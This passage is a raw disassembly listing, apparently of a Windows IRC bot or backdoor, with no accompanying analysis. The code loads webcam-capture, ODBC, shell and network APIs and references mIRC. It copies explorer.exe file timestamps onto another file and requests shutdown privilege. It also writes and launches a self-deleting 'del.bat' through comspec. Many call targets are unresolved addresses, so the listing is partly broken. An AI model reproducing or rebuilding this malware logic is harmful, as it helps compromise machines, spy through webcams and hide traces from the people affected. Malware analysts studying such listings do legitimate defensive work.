; --------------------------------------------------------------------------- loc_40A35D: ; CODE XREF: sub_40981F+AEAj call near ptr 2650B3Dh nop mov dword_43AEAC, eax loc_40A368: ; CODE XREF: sub_40981F+B26j ; sub_40981F+B2Ej ... mov dword_43AEA8, 1 loc_40A372: ; CODE XREF: sub_40981F+B3Aj push offset aShell32_dll ; "shell32.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A3A7 push offset aShellexecutea ; "ShellExecuteA" push edi call esi push offset aShchangenotify ; "SHChangeNotify" push edi mov dword_43AD0C, eax call esi cmp dword_43AD0C, ebx mov dword_43AE0C, eax jz short loc_40A3B2 cmp eax, ebx jnz short loc_40A3BC jmp short loc_40A3B2 ; --------------------------------------------------------------------------- loc_40A3A7: ; CODE XREF: sub_40981F+B5Ej nop call near ptr 2650B3Dh mov dword_43AEB4, eax loc_40A3B2: ; CODE XREF: sub_40981F+B80j ; sub_40981F+B86j mov dword_43AEB0, 1 loc_40A3BC: ; CODE XREF: sub_40981F+B84j push offset aOdbc32_dll ; "odbc32.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A445 push offset aSqldriverconne ; "SQLDriverConnect" push edi call esi push offset aSqlsetenvattr ; "SQLSetEnvAttr" push edi mov dword_43ADD4, eax call esi push offset aSqlexecdirect ; "SQLExecDirect" push edi mov dword_43AE20, eax call esi push offset aSqlallochandle ; "SQLAllocHandle" push edi mov dword_43AD5C, eax call esi push offset aSqlfreehandle ; "SQLFreeHandle" push edi mov dword_43AD1C, eax call esi push offset aSqldisconnect ; "SQLDisconnect" push edi mov dword_43ADB4, eax call esi cmp dword_43ADD4, ebx mov dword_43AD28, eax jz short loc_40A450 cmp dword_43AE20, ebx jz short loc_40A450 cmp dword_43AD5C, ebx jz short loc_40A450 cmp dword_43AD1C, ebx jz short loc_40A450 cmp dword_43ADB4, ebx jz short loc_40A450 cmp eax, ebx jnz short loc_40A45A jmp short loc_40A450 ; --------------------------------------------------------------------------- loc_40A445: ; CODE XREF: sub_40981F+BA8j nop call near ptr 2650B3Dh mov dword_43AEBC, eax loc_40A450: ; CODE XREF: sub_40981F+BFEj ; sub_40981F+C06j ... mov dword_43AEB8, 1 loc_40A45A: ; CODE XREF: sub_40981F+C22j push offset aAvicap32_dll ; "avicap32.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A48F push offset aCapcreatecaptu ; "capCreateCaptureWindowA" push edi call esi push offset aCapgetdriverde ; "capGetDriverDescriptionA" push edi mov dword_43ACF0, eax call esi cmp dword_43ACF0, ebx mov dword_43ADC8, eax jz short loc_40A49A cmp eax, ebx jnz short loc_40A4A4 jmp short loc_40A49A ; --------------------------------------------------------------------------- loc_40A48F: ; CODE XREF: sub_40981F+C46j nop call near ptr 2650B3Dh mov dword_43AEC4, eax loc_40A49A: ; CODE XREF: sub_40981F+C68j ; sub_40981F+C6Ej mov dword_43AEC0, 1 loc_40A4A4: ; CODE XREF: sub_40981F+C6Cj push 1 pop eax pop edi pop esi pop ebp pop ebx retn sub_40981F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A4AC proc near ; CODE XREF: sub_40EE72+57D3p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h push ebx mov ebx, [ebp+arg_4] push esi xor esi, esi cmp dword_43AE58, esi push edi mov edi, [ebp+arg_8] jz short loc_40A4F4 push dword_43AE5C lea eax, [ebp+var_200] push offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>" push eax call sub_4172B0 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40D679 add esp, 20h loc_40A4F4: ; CODE XREF: sub_40A4AC+1Aj cmp dword_43AE60, esi jz short loc_40A528 push dword_43AE64 lea eax, [ebp+var_200] push offset aUser32_dllFail ; "User32.dll failed. <%d>" push eax call sub_4172B0 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40D679 add esp, 20h loc_40A528: ; CODE XREF: sub_40A4AC+4Ej cmp dword_43AE68, esi jz short loc_40A55C push dword_43AE6C lea eax, [ebp+var_200] push offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>" push eax call sub_4172B0 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40D679 add esp, 20h loc_40A55C: ; CODE XREF: sub_40A4AC+82j cmp dword_43AE70, esi jz short loc_40A590 push dword_43AE74 lea eax, [ebp+var_200] push offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>" push eax call sub_4172B0 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40D679 add esp, 20h loc_40A590: ; CODE XREF: sub_40A4AC+B6j cmp dword_43AE78, esi jz short loc_40A5C4 push dword_43AE7C lea eax, [ebp+var_200] push offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>" push eax call sub_4172B0 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40D679 add esp, 20h loc_40A5C4: ; CODE XREF: sub_40A4AC+EAj cmp dword_43AE80, esi jz short loc_40A5F8 push dword_43AE84 lea eax, [ebp+var_200] push offset aWininet_dllFai ; "Wininet.dll failed. <%d>" push eax call sub_4172B0 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40D679 add esp, 20h loc_40A5F8: ; CODE XREF: sub_40A4AC+11Ej cmp dword_43AE88, esi jz short loc_40A62C push dword_43AE8C lea eax, [ebp+var_200] push offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>" push eax call sub_4172B0 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40D679 add esp, 20h loc_40A62C: ; CODE XREF: sub_40A4AC+152j cmp dword_43AE90, esi jz short loc_40A660 push dword_43AE94 lea eax, [ebp+var_200] push offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>" push eax call sub_4172B0 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40D679 add esp, 20h loc_40A660: ; CODE XREF: sub_40A4AC+186j cmp dword_43AE98, esi jz short loc_40A694 push dword_43AE9C lea eax, [ebp+var_200] push offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>" push eax call sub_4172B0 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40D679 add esp, 20h loc_40A694: ; CODE XREF: sub_40A4AC+1BAj cmp dword_43AEA0, esi jz short loc_40A6C8 push dword_43AEA4 lea eax, [ebp+var_200] push offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>" push eax call sub_4172B0 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40D679 add esp, 20h loc_40A6C8: ; CODE XREF: sub_40A4AC+1EEj cmp dword_43AEA8, esi jz short loc_40A6FC push dword_43AEAC lea eax, [ebp+var_200] push offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>" push eax call sub_4172B0 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40D679 add esp, 20h loc_40A6FC: ; CODE XREF: sub_40A4AC+222j cmp dword_43AEB0, esi jz short loc_40A730 push dword_43AEB4 lea eax, [ebp+var_200] push offset aShell32_dllFai ; "Shell32.dll failed. <%d>" push eax call sub_4172B0 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40D679 add esp, 20h loc_40A730: ; CODE XREF: sub_40A4AC+256j cmp dword_43AEB8, esi jz short loc_40A764 push dword_43AEBC lea eax, [ebp+var_200] push offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>" push eax call sub_4172B0 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40D679 add esp, 20h loc_40A764: ; CODE XREF: sub_40A4AC+28Aj cmp dword_43AEC0, esi jz short loc_40A798 push dword_43AEC4 lea eax, [ebp+var_200] push offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>" push eax call sub_4172B0 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40D679 add esp, 20h loc_40A798: ; CODE XREF: sub_40A4AC+2BEj lea eax, [ebp+var_200] push offset unk_42D764 push eax call sub_4172B0 cmp [ebp+arg_C], esi pop ecx pop ecx jnz short loc_40A7C5 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40D679 add esp, 14h loc_40A7C5: ; CODE XREF: sub_40A4AC+302j lea eax, [ebp+var_200] push eax call sub_40BF6D pop ecx pop edi pop esi pop ebx leave retn sub_40A4AC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A7D7 proc near ; CODE XREF: sub_40EE72+C5Ep ; sub_40EE72+C92p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_0] xor esi, esi cmp edi, esi jz short loc_40A862 mov eax, [ebp+arg_4] cmp eax, esi jz short loc_40A862 cmp [ebp+arg_8], esi jz short loc_40A862 cmp byte ptr [eax], 0 jz short loc_40A862 push ebx push edi call sub_42274B mov ebx, eax pop ecx test ebx, ebx jz short loc_40A85D push [ebp+arg_4] push edi call sub_417880 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_40A856 sub eax, edi push eax push edi push ebx call sub_418C10 push [ebp+arg_8] mov eax, ebx sub eax, edi and byte ptr [eax+esi], 0 call sub_417AB0 push eax push [ebp+arg_8] push ebx call sub_418DE0 push [ebp+arg_4] call sub_417AB0 add eax, esi push eax push ebx call sub_4179D0 push ebx push edi call sub_4179C0 add esp, 30h mov esi, edi loc_40A856: ; CODE XREF: sub_40A7D7+3Cj push ebx call sub_417C3B pop ecx loc_40A85D: ; CODE XREF: sub_40A7D7+2Bj mov eax, esi pop ebx jmp short loc_40A864 ; --------------------------------------------------------------------------- loc_40A862: ; CODE XREF: sub_40A7D7+Cj ; sub_40A7D7+13j ... xor eax, eax loc_40A864: ; CODE XREF: sub_40A7D7+89j pop edi pop esi pop ebp retn sub_40A7D7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A868 proc near ; CODE XREF: sub_40ECFA+E9p var_7D0 = dword ptr -7D0h var_7CC = byte ptr -7CCh arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 7D0h push ebx push esi push 7D0h lea eax, [ebp+var_7D0] push 0 push eax call sub_417330 mov esi, [ebp+arg_0] push esi call sub_417AB0 add esp, 10h push 1 pop ebx cmp eax, ebx jge short loc_40A89E loc_40A899: ; DATA XREF: ___:00428424o ; ___:00428468o ... or eax, 0FFFFFFFFh jmp short loc_40A911 ; --------------------------------------------------------------------------- loc_40A89E: ; CODE XREF: sub_40A868+2Fj xor ecx, ecx mov [ebp+var_7D0], esi test eax, eax jle short loc_40A8C0 loc_40A8AA: ; CODE XREF: sub_40A868+56j mov dl, [ecx+esi] cmp dl, 0Ah jz short loc_40A8B7 cmp dl, 0Dh jnz short loc_40A8BB loc_40A8B7: ; CODE XREF: sub_40A868+48j and byte ptr [ecx+esi], 0 loc_40A8BB: ; CODE XREF: sub_40A868+4Dj inc ecx cmp ecx, eax jl short loc_40A8AA loc_40A8C0: ; CODE XREF: sub_40A868+40j xor edx, edx push edi test eax, eax jle short loc_40A8F1 lea edi, [ebp+var_7CC] loc_40A8CD: ; CODE XREF: sub_40A868+87j cmp byte ptr [edx+esi], 0 jnz short loc_40A8EC cmp byte ptr [edx+esi+1], 0 lea ecx, [edx+esi+1] jz short loc_40A8EC cmp ebx, 1F4h jge short loc_40A8F1 mov [edi], ecx inc ebx add edi, 4 loc_40A8EC: ; CODE XREF: sub_40A868+69j ; sub_40A868+74j inc edx cmp edx, eax jl short loc_40A8CD loc_40A8F1: ; CODE XREF: sub_40A868+5Dj ; sub_40A868+7Cj cmp [ebp+arg_4], 0 pop edi jz short loc_40A90F lea eax, [ebp+var_7D0] push 7D0h push eax push [ebp+arg_4] call sub_417390 add esp, 0Ch loc_40A90F: ; CODE XREF: sub_40A868+8Ej mov eax, ebx loc_40A911: ; CODE XREF: sub_40A868+34j pop esi pop ebx leave retn sub_40A868 endp ; =============== S U B R O U T I N E ======================================= sub_40A915 proc near ; CODE XREF: sub_40A96F+33p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_4] push esi push edi mov edi, [esp+8+arg_8] mov ecx, 1F4h xor esi, esi rep stosd lea edi, [eax-1] test edi, edi jl short loc_40A94E push ebx mov ebx, edi loc_40A932: ; CODE XREF: sub_40A915+36j mov eax, [esp+0Ch+arg_0] mov al, [esi+eax] push eax call sub_40A951 pop ecx inc esi mov ecx, [esp+0Ch+arg_8] mov [ecx+eax*4], ebx dec ebx cmp esi, edi jle short loc_40A932 pop ebx loc_40A94E: ; CODE XREF: sub_40A915+18j pop edi pop esi retn sub_40A915 endp ; =============== S U B R O U T I N E ======================================= sub_40A951 proc near ; CODE XREF: sub_40A915+25p ; sub_40A96F+6Bp arg_0 = byte ptr 4 movsx eax, [esp+arg_0] push eax call sub_419101 cmp al, 61h pop ecx jl short loc_40A96C cmp al, 7Ah jg short loc_40A96C movsx eax, al sub eax, 60h retn ; --------------------------------------------------------------------------- loc_40A96C: ; CODE XREF: sub_40A951+Ej ; sub_40A951+12j xor eax, eax retn sub_40A951 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A96F proc near ; CODE XREF: sub_40C04D+10p ; sub_40C07F+A0p var_100C = dword ptr -100Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 100Ch call sub_417B30 push ebx push esi push edi push [ebp+arg_0] call sub_417AB0 push [ebp+arg_4] mov [ebp+var_4], eax call sub_417AB0 mov esi, eax lea eax, [ebp+var_100C] push eax push esi push [ebp+arg_4] mov [ebp+var_C], esi call sub_40A915 add esp, 14h dec esi mov edi, esi loc_40A9AD: ; CODE XREF: sub_40A96F+B6j test esi, esi jle short loc_40AA2B mov eax, [ebp+arg_4] movsx eax, byte ptr [esi+eax] push eax call sub_419101 mov ebx, eax mov eax, [ebp+arg_0] movsx eax, byte ptr [edi+eax] push eax call sub_419101 pop ecx cmp eax, ebx pop ecx jz short loc_40AA23 loc_40A9D3: ; CODE XREF: sub_40A96F+B2j mov ebx, [ebp+arg_0] mov al, [edi+ebx] push eax call sub_40A951 mov edx, [ebp+var_C] mov eax, [ebp+eax*4+var_100C] pop ecx mov ecx, edx sub ecx, esi cmp ecx, eax jle short loc_40A9F4 mov eax, ecx loc_40A9F4: ; CODE XREF: sub_40A96F+81j add edi, eax cmp edi, [ebp+var_4] jge short loc_40AA27 mov eax, [ebp+arg_4] lea esi, [edx-1] movsx eax, byte ptr [esi+eax] push eax call sub_419101 mov edx, eax movsx eax, byte ptr [edi+ebx] push eax mov [ebp+var_8], edx call sub_419101 pop ecx pop ecx mov ecx, [ebp+var_8] cmp eax, ecx jnz short loc_40A9D3 loc_40AA23: ; CODE XREF: sub_40A96F+62j dec edi dec esi jmp short loc_40A9AD ; --------------------------------------------------------------------------- loc_40AA27: ; CODE XREF: sub_40A96F+8Aj xor eax, eax jmp short loc_40AA30 ; --------------------------------------------------------------------------- loc_40AA2B: ; CODE XREF: sub_40A96F+40j mov eax, [ebp+arg_0] add eax, edi loc_40AA30: ; CODE XREF: sub_40A96F+BAj pop edi pop esi pop ebx leave retn sub_40A96F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AA35 proc near ; CODE XREF: sub_40EE72+3C8Cp ; sub_40EE72+4AF5p var_100 = byte ptr -100h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 100h push esi nop call near ptr 2650B3Dh mov esi, eax push 0 lea eax, [ebp+var_100] push 100h push eax push 400h push esi push 0 push 1200h nop call near ptr 2730000h lea eax, [ebp+var_100] loc_40AA6E: ; CODE XREF: sub_40AA35+46j mov cl, [eax] cmp cl, 1Fh jg short loc_40AA7A cmp cl, 9 jnz short loc_40AA7D loc_40AA7A: ; CODE XREF: sub_40AA35+3Ej inc eax jmp short loc_40AA6E ; --------------------------------------------------------------------------- loc_40AA7D: ; CODE XREF: sub_40AA35+43j ; sub_40AA35+5Bj ... and byte ptr [eax], 0 dec eax lea ecx, [ebp+var_100] cmp eax, ecx jb short loc_40AA97 mov cl, [eax] cmp cl, 2Eh jz short loc_40AA7D cmp cl, 21h jl short loc_40AA7D loc_40AA97: ; CODE XREF: sub_40AA35+54j lea eax, [ebp+var_100] push esi push eax mov esi, offset dword_43AEC8 push [ebp+arg_0] push offset aSErrorSD_ ; "%s Error: %s <%d>." push 200h push esi call sub_41782A add esp, 18h mov eax, esi pop esi leave retn sub_40AA35 endp ; =============== S U B R O U T I N E ======================================= sub_40AABF proc near ; CODE XREF: sub_40EE72+5732p push esi push 0 call dword_43AD68 test eax, eax jz short loc_40AAF6 push 1 call dword_43AD88 mov esi, eax test esi, esi jz short loc_40AAF6 push edi push esi nop call near ptr 2731628h push esi mov edi, eax nop call near ptr 273108Eh call dword_43ADEC mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_40AAF6: ; CODE XREF: sub_40AABF+Bj ; sub_40AABF+19j xor eax, eax pop esi retn sub_40AABF endp ; =============== S U B R O U T I N E ======================================= sub_40AAFA proc near ; CODE XREF: sub_40EE72+48BFp arg_0 = dword ptr 4 push ebp push esi push edi xor esi, esi mov edi, offset aMirc ; "mIRC" push esi push edi call dword_43ADA4 mov ebp, eax cmp ebp, esi jz short loc_40AB76 push ebx push edi push 1000h push esi push 4 push esi push 0FFFFFFFFh nop call near ptr 2740389h push esi push esi mov edi, eax push esi push 0F001Fh push edi nop call near ptr 25B0000h push [esp+10h+arg_0] mov ebx, eax push ebx call sub_4172B0 pop ecx pop ecx push esi push 1 push 4C8h push ebp call dword_43ADF4 push esi push 1 push 4C9h push ebp call dword_43ADF4 push ebx nop call near ptr 2740000h push edi call near ptr 2631A0Bh nop push 1 pop eax pop ebx jmp short loc_40AB78 ; --------------------------------------------------------------------------- loc_40AB76: ; CODE XREF: sub_40AAFA+16j xor eax, eax loc_40AB78: ; CODE XREF: sub_40AAFA+7Aj pop edi pop esi pop ebp retn sub_40AAFA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AB7C proc near ; CODE XREF: ___:0040E8BBp var_11C = byte ptr -11Ch var_18 = byte ptr -18h var_10 = byte ptr -10h var_8 = byte ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 11Ch push ebx push esi xor esi, esi push edi lea eax, [ebp+var_11C] push esi push eax push 104h push esi push offset aExplorer_exe ; "explorer.exe" push esi call dword_43AE54 test eax, eax jz short loc_40AC1B mov edi, 80h push esi push edi push 3 push esi mov esi, dword_424084 push 1 lea eax, [ebp+var_11C] push 80000000h push eax call esi mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_40AC1B lea eax, [ebp+var_18] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_10] push eax push ebx call near ptr 2750000h nop push ebx mov ebx, dword_424078 call ebx push 0 push edi push 3 push 0 push 2 push 40000000h push [ebp+arg_0] call esi mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40AC1B lea eax, [ebp+var_18] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_10] push eax push esi call near ptr 2740911h nop push esi call ebx loc_40AC1B: ; CODE XREF: sub_40AB7C+2Aj ; sub_40AB7C+51j ... pop edi pop esi pop ebx leave retn sub_40AB7C endp ; =============== S U B R O U T I N E ======================================= sub_40AC20 proc near ; CODE XREF: sub_40EE72+13C4p push 1 push offset aSeshutdownpriv ; "SeShutdownPrivilege" call sub_41511F pop ecx pop ecx push 50005h push 6 call dword_43ACE0 neg eax sbb eax, eax neg eax retn sub_40AC20 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AC42 proc near ; CODE XREF: sub_40CAF1+472p ; sub_40EE72+59D4p var_764 = byte ptr -764h var_364 = byte ptr -364h var_260 = byte ptr -260h var_15C = byte ptr -15Ch var_58 = dword ptr -58h var_4C = dword ptr -4Ch var_2C = dword ptr -2Ch var_28 = word ptr -28h var_14 = byte ptr -14h var_4 = byte ptr -4 push ebp mov ebp, esp sub esp, 764h push esi xor esi, esi cmp dword_42F5C0, esi push edi jz short loc_40AC66 cmp dword_43AE68, esi jnz short loc_40AC66 push esi call sub_40C1AE pop ecx loc_40AC66: ; CODE XREF: sub_40AC42+13j ; sub_40AC42+1Bj call sub_416F25 lea eax, [ebp+var_764] push eax push 400h nop call near ptr 2770113h lea eax, [ebp+var_764] push eax lea eax, [ebp+var_260] push offset aSdel_bat ; "%sdel.bat" push eax call sub_4172B0 add esp, 0Ch lea eax, [ebp+var_260] push esi push esi push 2 push esi push esi push 40000000h push eax call near ptr 26507E6h nop mov edi, eax cmp edi, esi jbe loc_40ADC6 lea eax, [ebp+var_260] push eax lea eax, [ebp+var_764] push offset a@echoOffRepeat ; "@echo off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"... push eax call sub_4172B0 add esp, 0Ch lea eax, [ebp+var_4] push esi push eax lea eax, [ebp+var_764] push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_764] push eax push edi call near ptr 2640000h nop push edi nop call near ptr 2631A0Bh push 10h lea eax, [ebp+var_14] push esi push eax call sub_417330 push 44h lea eax, [ebp+var_58] pop edi push edi push esi push eax call sub_417330 add esp, 18h mov [ebp+var_58], edi mov edi, 104h lea eax, [ebp+var_15C] push edi push eax push esi mov [ebp+var_4C], offset byte_436EDC mov [ebp+var_2C], 1 mov [ebp+var_28], si call near ptr 2720C42h nop push eax call near ptr 2660000h nop lea eax, [ebp+var_15C] push eax call near ptr 26902BBh nop cmp eax, 0FFFFFFFFh jz short loc_40AD6E lea eax, [ebp+var_15C] push 80h push eax nop call near ptr 2770000h loc_40AD6E: ; CODE XREF: sub_40AC42+118j lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_260] push eax lea eax, [ebp+var_764] push offset aComspecCSS ; "%%comspec%% /c %s %s" push eax call sub_4172B0 add esp, 10h lea eax, [ebp+var_364] push edi push eax lea eax, [ebp+var_764] push eax nop call near ptr 2760000h lea eax, [ebp+var_14] push eax lea eax, [ebp+var_58] push eax push esi push esi push 4008h push 1 push esi lea eax, [ebp+var_364] push esi push eax push esi call near ptr 27505A0h nop loc_40ADC6: ; CODE XREF: sub_40AC42+72j pop edi pop esi leave retn sub_40AC42 endp ; =============== S U B R O U T I N E ======================================= sub_40ADCA proc near ; CODE XREF: sub_4013EC+7p ; sub_401992+7p ... arg_0 = dword ptr 4 push [esp+arg_0] call dword_43ADD8 cmp eax, 0FFFFFFFFh jnz short locret_40ADF2 push [esp+arg_0] call dword_43AE1C test eax, eax jnz short loc_40ADEB or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_40ADEB: ; CODE XREF: sub_40ADCA+1Bj mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] locret_40ADF2: ; CODE XREF: sub_40ADCA+Dj retn sub_40ADCA endp ; =============== S U B R O U T I N E ======================================= sub_40ADF3 proc near ; CODE XREF: sub_40EB92+D6p mov ecx, dword_43ACC0 xor eax, eax test ecx, ecx jz short locret_40AE01 call ecx locret_40AE01: ; CODE XREF: sub_40ADF3+Aj retn sub_40ADF3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AE02 proc near ; CODE XREF: sub_40EE72:loc_414556p var_88 = byte ptr -88h var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 88h push ebx push esi push edi push 1 pop ebx lea eax, [ebp+var_8] xor edi, edi push ebx push eax push edi xor esi, esi mov [ebp+var_8], edi mov [ebp+var_4], ebx call dword_43AE14 mov ecx, eax sub ecx, edi jz loc_40AEC8 sub ecx, 32h jz loc_40AEC1 sub ecx, 48h jz short loc_40AE62 sub ecx, 6Eh jz short loc_40AE5B loc_40AE44: ; CODE XREF: sub_40AE02+8Bj push eax lea eax, [ebp+var_88] push offset unk_42DA5C push eax call sub_4172B0 add esp, 0Ch jmp short loc_40AEA2 ; --------------------------------------------------------------------------- loc_40AE5B: ; CODE XREF: sub_40AE02+40j push offset unk_42DA28 jmp short loc_40AE94 ; --------------------------------------------------------------------------- loc_40AE62: ; CODE XREF: sub_40AE02+3Bj push [ebp+var_8] call sub_417B89 push [ebp+var_8] mov esi, eax push edi push esi call sub_417330 add esp, 10h cmp esi, edi jz short loc_40AE8F lea eax, [ebp+var_8] push ebx push eax push esi call dword_43AE14 cmp eax, edi jz short loc_40AEC8 jmp short loc_40AE44 ; --------------------------------------------------------------------------- loc_40AE8F: ; CODE XREF: sub_40AE02+79j push offset unk_42D9E8 loc_40AE94: ; CODE XREF: sub_40AE02+5Ej ; sub_40AE02+C4j lea eax, [ebp+var_88] push eax call sub_4172B0 pop ecx pop ecx loc_40AEA2: ; CODE XREF: sub_40AE02+57j lea eax, [ebp+var_88] mov [ebp+var_4], edi push eax call sub_40BF6D pop ecx loc_40AEB2: ; CODE XREF: sub_40AE02+C8j ; sub_40AE02+DCj push esi call sub_417C3B mov eax, [ebp+var_4] pop ecx pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_40AEC1: ; CODE XREF: sub_40AE02+32j push offset unk_42D9A8 jmp short loc_40AE94 ; --------------------------------------------------------------------------- loc_40AEC8: ; CODE XREF: sub_40AE02+29j ; sub_40AE02+89j cmp [esi], edi jbe short loc_40AEB2 lea ebx, [esi+4] loc_40AECF: ; CODE XREF: sub_40AE02+DAj push ebx call dword_43AE10 inc edi add ebx, 18h cmp edi, [esi] jb short loc_40AECF jmp short loc_40AEB2 sub_40AE02 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AEE0 proc near ; CODE XREF: sub_40144A+243p ; sub_401D82+268p ... var_14 = byte ptr -14h var_10 = byte ptr -10h var_F = byte ptr -0Fh var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h push esi push 10h pop eax mov [ebp+var_4], eax push eax lea eax, [ebp+var_14] push 0 push eax call sub_417330 add esp, 0Ch lea eax, [ebp+var_4] push eax lea eax, [ebp+var_14] push eax push [ebp+arg_0] call dword_43AD3C movzx eax, [ebp+var_D] push eax mov esi, offset dword_43B0CC movzx eax, [ebp+var_E] push eax movzx eax, [ebp+var_F] push eax movzx eax, [ebp+var_10] push eax push offset aD_D_D_D ; "%d.%d.%d.%d" push esi call sub_4172B0 add esp, 18h mov eax, esi pop esi leave retn sub_40AEE0 endp ; =============== S U B R O U T I N E ======================================= sub_40AF39 proc near ; CODE XREF: sub_4010B5+24Cp ; sub_4010B5+292p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_4] xor eax, eax cmp esi, 1 jle short loc_40AF62 mov ecx, esi push edi shr ecx, 1 mov edx, ecx neg edx lea esi, [esi+edx*2] mov edx, [esp+8+arg_0] loc_40AF55: ; CODE XREF: sub_40AF39+24j movzx edi, word ptr [edx] add eax, edi inc edx inc edx dec ecx jnz short loc_40AF55 pop edi jmp short loc_40AF66 ; --------------------------------------------------------------------------- loc_40AF62: ; CODE XREF: sub_40AF39+Aj mov edx, [esp+4+arg_0] loc_40AF66: ; CODE XREF: sub_40AF39+27j test esi, esi pop esi jz short loc_40AF70 movzx ecx, byte ptr [edx] add eax, ecx loc_40AF70: ; CODE XREF: sub_40AF39+30j mov ecx, eax and eax, 0FFFFh shr ecx, 10h add ecx, eax mov eax, ecx shr eax, 10h add eax, ecx not eax retn sub_40AF39 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AF86 proc near ; DATA XREF: sub_40EE72+2E51o var_10320 = byte ptr -10320h var_344 = byte ptr -344h var_144 = dword ptr -144h var_140 = byte ptr -140h var_C0 = byte ptr -0C0h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = byte ptr -20h var_18 = dword ptr -18h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 10320h call sub_417B30 mov eax, [ebp+arg_0] push ebx push esi push edi push 49h mov esi, eax pop ecx lea edi, [ebp+var_144] rep movsd push 1 pop edi mov [eax+120h], edi call dword_43AD24 mov [ebp+arg_0], eax lea eax, [ebp+var_C0] push eax call dword_43ADD8 mov esi, eax xor ebx, ebx xor eax, eax cmp esi, 0FFFFFFFFh jnz short loc_40AFE1 lea eax, [ebp+var_C0] push eax call dword_43AE1C cmp eax, ebx jz short loc_40AFE7 loc_40AFE1: ; CODE XREF: sub_40AF86+48j cmp [ebp+arg_0], 0FFFFFFFFh jnz short loc_40B044 loc_40AFE7: ; CODE XREF: sub_40AF86+59j lea eax, [ebp+var_C0] push eax lea eax, [ebp+var_344] push offset unk_42DAD8 push eax call sub_4172B0 add esp, 0Ch cmp [ebp+var_28], ebx jnz short loc_40B027 push ebx lea eax, [ebp+var_344] push [ebp+var_2C] push eax lea eax, [ebp+var_140] push eax push [ebp+var_144] call sub_40D679 add esp, 14h loc_40B027: ; CODE XREF: sub_40AF86+7Fj lea eax, [ebp+var_344] push eax call sub_40BF6D push [ebp+var_30] call sub_417078 pop ecx pop ecx push edi nop call near ptr 2610356h loc_40B044: ; 